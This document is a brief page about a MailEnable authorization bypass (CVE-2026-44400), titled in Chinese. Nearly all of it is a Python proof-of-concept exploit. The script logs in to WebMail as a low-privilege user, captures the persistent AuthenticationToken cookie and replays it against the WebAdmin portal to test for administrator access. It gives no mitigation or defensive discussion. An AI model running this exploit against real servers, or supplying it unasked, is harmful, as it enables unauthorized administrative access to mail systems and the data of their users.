CVE-2026-44400 MailEnable授权绕过漏洞

import requests # Target URL configuration target_host = "http://target-mailenable-server" webmail_login_url = f"{target_host}/mailmail/login.aspx" webadmin_url = f"{target_host}/webadmin/mobile/default.aspx" # Attacker credentials (low privilege) username = "low_priv_user" password = "password123" # Step 1: Authenticate via WebMail and obtain PersistentLogin token print("[+] Attempting to login via WebMail to obtain token...") session = requests.Session() payload = { "username": username, "password": password, "PersistentLogin": "on" # Trigger persistent token generation } response = session.post(webmail_login_url, data=payload) # Extract the AuthenticationToken cookie (Simulated extraction) auth_token = session.cookies.get('AuthenticationToken') if auth_token: print(f"[+] Token found: {auth_token}") # Step 2: Replay the token against WebAdmin portal print("[+] Replaying token against WebAdmin portal...") admin_cookies = {'AuthenticationToken': auth_token} admin_response = requests.get(webadmin_url, cookies=admin_cookies) # Check if authentication bypass was successful if admin_response.status_code == 200 and "Dashboard" in admin_response.text: print("[!] Successfully accessed WebAdmin with low-privilege token!") print(f"[+] Response length: {len(admin_response.text)}") else: print("[-] Failed to bypass authentication.") else: print("[-] Could not retrieve AuthenticationToken cookie.")